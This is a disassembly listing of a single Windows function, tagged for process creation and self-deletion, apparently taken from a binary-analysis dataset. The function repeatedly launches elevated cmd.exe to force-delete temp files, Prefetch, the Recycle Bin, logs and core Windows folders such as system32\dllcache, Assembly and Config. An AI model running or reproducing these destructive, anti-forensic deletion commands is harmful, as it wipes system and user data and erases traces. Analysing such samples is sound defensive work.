Function at 0x140043340
Capabilities:
Create process on windows
Self delete

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
lea r9, str.timeout__t_4__nobreak___nul
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
lea rdx, str.runas
mov qword [rsp + 0x20], rbx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__s__f__q_c:windows_temp
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__s__f__q_C:WINDOWSPrefetch
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__s__f__q__temp_
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__s__f__q__systemdrive_.tmp
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__s__f__q__systemdrive_._mp
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__s__f__q__systemdrive_.log
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__s__f__q__systemdrive_.gid
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__s__f__q__systemdrive_.chk
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__s__f__q__systemdrive_.old
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__s__f__q__systemdrive__recycled.
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], ebx
lea r9, str.Del__s__f__q__systemdrive__Recycle.Bin.
mov qword [rsp + 0x20], rbx
lea r8, str.cmd.exe
xor ecx, ecx
lea rdx, str.runas
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__s__q___userprofile_Local_SettingsTemporary_Internet_Files._
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__s__q___userprofile_Local_SettingsTemp._
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__s__f__q__windir_.bak
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__s__f__q__windir_prefetch.
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Rd__s__q__windir__temp__md__windir__temp
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__systemdrive_.old
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__s__q__systemdrive_._mp
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__systemdrive_.bak
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__systemdrive_.log
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__systemdrive_.tmp
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__systemdrive_.chk
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], ebx
lea r9, str.Del__f__s__q__systemdrive_.gid
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__systemdrive_RECYCLER.
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__WinDir_Temp.
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__WinDir_Prefetch.
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__WinDir_Driver_Cachei386.
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__WinDir__system32dllcache.
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__WinDir__hf_mig_.
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__WinDir_Driver_Cache.ll
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__WinDir__addins.
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__WinDir_LastGood.
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__WinDir_Offline_Web_Pages.
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], ebx
lea r9, str.Del__f__q__s__WinDir__NtServicePackUninstall_.
mov qword [rsp + 0x20], rbx
lea r8, str.cmd.exe
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__WinDir_Provisioning.
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__WinDir_ServicePackFiles.
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__WinDir_Connection_Wizard.
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__WinDir_EHome.
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__WinDir_Assembly.
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__WinDir_SoftwareDistributionDownload.
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__WinDir_mui.
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__WinDir_Config.
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__q__s__WinDir_msapps.
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__s__q__winDir_.bak
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r9, str.Del__f__s__q__userprofile_AppData_Local_Temp.
mov dword [rsp + 0x28], ebx
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], ebx
lea r9, str.Del__f__s__q__windir_prefetch.
mov qword [rsp + 0x20], rbx
lea r8, str.cmd.exe
xor ecx, ecx
lea rdx, str.runas
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
add rsp, 0x30
pop rbx
ret
jmp 0x140043340